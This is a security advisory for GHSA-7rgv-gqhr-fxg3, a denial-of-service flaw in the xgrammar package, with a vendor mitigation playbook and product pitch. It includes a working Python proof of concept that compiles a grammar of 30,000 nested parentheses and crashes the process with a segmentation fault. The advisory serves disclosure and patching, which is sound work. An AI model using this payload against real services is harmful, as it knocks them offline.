GHSA-7rgv-gqhr-fxg3
xgrammar vulnerable to DoS via multi-layer nesting
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Description
Summary
The multi-level nested syntax caused a segmentation fault (core dump).
Details
A trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses.
PoC
#!/usr/bin/env python3
"""
XGrammar - Math Expression Generation Example
"""
import xgrammar as xgr
import torch
from transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig
s = '(' * 30000 + 'a'
grammar = f"root ::= {s}"
def main():
device = "cuda" if torch.cuda.is_available() else "cpu"
model_name = "Qwen/Qwen2.5-0.5B-Instruct"
# Load model
model = AutoModelForCausalLM.from_pretrained(
model_name,
torch_dtype=torch.float16 if device == "cuda" else torch.float32,
device_map=device
)
tokenizer = AutoTokenizer.from_pretrained(model_name)
config = AutoConfig.from_pretrained(model_name)
# Math expression grammar
math_grammar = grammar
# Setup
tokenizer_info = xgr.TokenizerInfo.from_huggingface(
tokenizer,
vocab_size=config.vocab_size
)
compiler = xgr.GrammarCompiler(tokenizer_info)
compiled_grammar = compiler.compile_grammar(math_grammar)
# Generate
prompt = "Math: "
inputs = tokenizer(prompt, return_tensors="pt").to(device)
xgr_processor = xgr.contrib.hf.LogitsProcessor(compiled_grammar)
output_ids = model.generate(
**inputs,
max_new_tokens=50,
logits_processor=[xgr_processor]
)
result = tokenizer.decode(
output_ids[0][len(inputs.input_ids[0]):],
skip_special_tokens=True
)
print(f"Generated expression: {result}")
if __name__ == "__main__":
main()
> pip show xgrammar
Name: xgrammar
Version: 0.1.31
Summary: Efficient, Flexible and Portable Structured Generation
Home-page:
Author: MLC Team
Author-email:
License: Apache 2.0
Location: /home/yuelinwang/.local/lib/python3.10/site-packages
Requires: numpy, pydantic, torch, transformers, triton, typing-extensions
Required-by:
> python3 1.py
`torch_dtype` is deprecated! Use `dtype` instead!
Segmentation fault (core dumped)
Impact
DoS
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | xgrammar | all versions | 0.1.32 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for xgrammar. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update xgrammar to 0.1.32 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7rgv-gqhr-fxg3 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-7rgv-gqhr-fxg3 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-7rgv-gqhr-fxg3. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-7rgv-gqhr-fxg3 in your dependencies?
O3 detects GHSA-7rgv-gqhr-fxg3 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.